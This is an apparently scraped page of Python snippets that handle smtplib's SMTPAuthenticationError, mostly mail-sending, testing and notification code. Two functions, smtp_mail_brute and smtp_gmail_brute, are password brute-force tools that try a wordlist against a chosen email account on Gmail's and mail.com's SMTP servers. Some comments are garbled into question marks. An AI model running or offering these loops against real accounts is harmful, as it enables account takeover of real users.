def send_comment_notification(sender, instance, created, **kwargs):
"""Email relevant users when a new |Comment| is saved."""
# email relevant users if a comment is created
if created and emails_enabled():
for user in instance.get_other_contributors():
email_message = compose_comment_email(instance, user)
try:
email_message.send()
except smtplib.SMTPAuthenticationError as error:
_LOGGER.error('An error occurred when sending an '
'email notification: %s', error)
python类SMTPAuthenticationError()的实例源码
def send_mail(sender,to,password,port,subject,body):
try:
message = "Subject: {}\n\n{}".format(subject,body)
mail = smtplib.SMTP('smtp.gmail.com',port)
mail.starttls()
mail.login(sender,password)
mail.sendmail(sender, to, message)
print "\nSent email successfully.\n"
except smtplib.SMTPAuthenticationError:
print "\nCould not athenticate with password and username!\n"
def testAUTH_LOGIN(self):
self.serv.add_feature("AUTH LOGIN")
smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)
try: smtp.login(sim_auth[0], sim_auth[1])
except smtplib.SMTPAuthenticationError as err:
self.assertIn(sim_auth_login_password, str(err))
smtp.close()
def testAUTH_CRAM_MD5(self):
self.serv.add_feature("AUTH CRAM-MD5")
smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)
try: smtp.login(sim_auth[0], sim_auth[1])
except smtplib.SMTPAuthenticationError as err:
self.assertIn(sim_auth_credentials['cram-md5'], str(err))
smtp.close()
def testAUTH_multiple(self):
# Test that multiple authentication methods are tried.
self.serv.add_feature("AUTH BOGUS PLAIN LOGIN CRAM-MD5")
smtp = smtplib.SMTP(HOST, self.port, local_hostname='localhost', timeout=15)
try: smtp.login(sim_auth[0], sim_auth[1])
except smtplib.SMTPAuthenticationError as err:
self.assertIn(sim_auth_login_password, str(err))
smtp.close()
def test_authentication(self):
"""
Check to see whether or not the currently configured SMTP credentials can be used
to authenticate to the remote service.
:return: True if the current configured SMTP credentials can be used to authenticate to
the remote service, False otherwise.
"""
connection = smtplib.SMTP(config.smtp_host, config.smtp_port)
connection.ehlo()
connection.starttls()
try:
connection.login(config.smtp_username, config.smtp_password)
return True
except smtplib.SMTPAuthenticationError:
return False
def smtp_mail_brute():
email=raw_input(">>>smtp>>>Enter email address:")
print("[*]Connecting to mail.com Server")
smtp_gmail=smtplib.SMTP("smtp.mail.com",587)
print("[*]Successfully connected to mail.com")
smtp_gmail.ehlo()
print("[*]Creating a secure TLS channel")
smtp_gmail.starttls()
print("[*]Succesfully created a TLS channel")
print("[*]Reading Passwords List")
passfile=open("./password_lists/passwords.txt","r")
print("[*]Successfully read passwords list")
for password in passfile.readlines():
password=password.rstrip('\n')
try:
smtp_gmail.login(email,password)
smtp_gmail=smtplib.SMTP("smtp.mail.com",587)
smtp_gmail.ehlo()
smtp_gmail.starttls()
except smtplib.SMTPAuthenticationError:
print('\x1b[0;30;41m'+"[!]Incorrect password:%s" %password+'\x1b[0m')
except KeyboardInterrupt:
print("\nQuitting..")
return
else:
print('\x1b[0;30;42m' + "[+]Correct password: %s" %password+'\x1b[0m')
break
def smtp_gmail_brute():
email=raw_input(">>>smtp>>>Enter email address:")
print("[*] Connecting to Gmail Server")
smtp_gmail=smtplib.SMTP("smtp.gmail.com",587)
print("[*]Succesfully connected to Gmail Server")
smtp_gmail.ehlo()
print("[*]Creating a secure TLS channel")
smtp_gmail.starttls()
print("[*]Succesfully created a TLS channel")
passfile=open("./password_lists/passwords.txt","r")
for password in passfile.readlines():
password=password.rstrip('\n')
try:
smtp_gmail.login(email,password)
smtp_gmail=smtplib.SMTP("smtp.gmail.com",587)
smtp_gmail.ehlo()
smtp_gmail.starttls()
except smtplib.SMTPAuthenticationError:
print('\x1b[0;30;41m'+"[!]Incorrect password:%s" %password+'\x1b[0m')
except KeyboardInterrupt:
print("\nQuitting..")
return
else:
print('\x1b[0;30;42m' + "[+]Correct password: %s" %password+'\x1b[0m')
break
def send(self):
"""????????????"""
self.msg['Subject'] = self.title
self.msg['From'] = self.sender
self.msg['To'] = self.receiver
# ????
if self.message:
self.msg.attach(MIMEText(self.message))
# ??????????????list???????????str?
if self.files:
if isinstance(self.files, list):
for f in self.files:
self._attach_file(f)
elif isinstance(self.files, str):
self._attach_file(self.files)
# ????????
try:
smtp_server = smtplib.SMTP(self.server)
except (gaierror and error) as e:
self.logger.exception(u'??????,?????SMTP??????????SMTP???. %s', e)
else:
try:
smtp_server.login(self.sender, self.password)
except smtplib.SMTPAuthenticationError as e:
self.logger.exception(u'??????????%s', e)
else:
smtp_server.sendmail(self.sender, self.receiver.split(';'), self.msg.as_string())
finally:
smtp_server.quit()
self.logger.info(u'????"{0}"??! ????{1}?????????????????'
u'?????????????'.format(self.title, self.receiver))
def update_password(self, old_pass, new_pass):
from server import app, mail
session = SessionManager.Session()
try:
user = session.query(User).filter(User.id == self.id).one()
if check_password_hash(user.password, old_pass):
user.password = UserCredential.get_pass_hash(new_pass)
session.commit()
if user.email is not None and user.email_confirmed:
# send notification mail
subject = '[{0}] Password Update Notification'.format(app.config['SITE_NAME'])
email_content = render_template('update-pass-notification.html', info={
'title': subject,
'user_name': user.name,
'site_name': app.config['SITE_NAME']
})
msg = Message(subject, recipients=[self.email], html=email_content)
try:
mail.send(msg)
except SMTPAuthenticationError:
raise ServerError('SMTP authentication failed', 500)
return True
else:
raise ClientError(ClientError.PASSWORD_INCORRECT)
except NoResultFound:
raise ServerError('user not found')
finally:
SessionManager.Session.remove()
def update_email(self, new_email):
from server import app, mail
session = SessionManager.Session()
try:
user = session.query(User).filter(User.id == self.id).one()
if user.email is not None and user.email_confirmed:
# send notification mail
subject = '[{0}] Email Address Update Notification'.format(app.config['SITE_NAME'])
email_content = render_template('email-change-notification.html', info={
'title': subject,
'user_name': user.name,
'site_name': app.config['SITE_NAME']
})
msg = Message(subject, recipients=[self.email], html=email_content)
try:
mail.send(msg)
except SMTPAuthenticationError:
raise ServerError('SMTP authentication failed', 500)
# update
user.email = new_email
user.email_confirmed = False
self.email = new_email
self.email_confirmed = False
# send email
self.send_confirm_email()
session.commit()
return json_resp({'message': 'ok'})
except IntegrityError:
raise ClientError('duplicate email')
except NoResultFound:
raise ServerError('user not found')
finally:
SessionManager.Session.remove()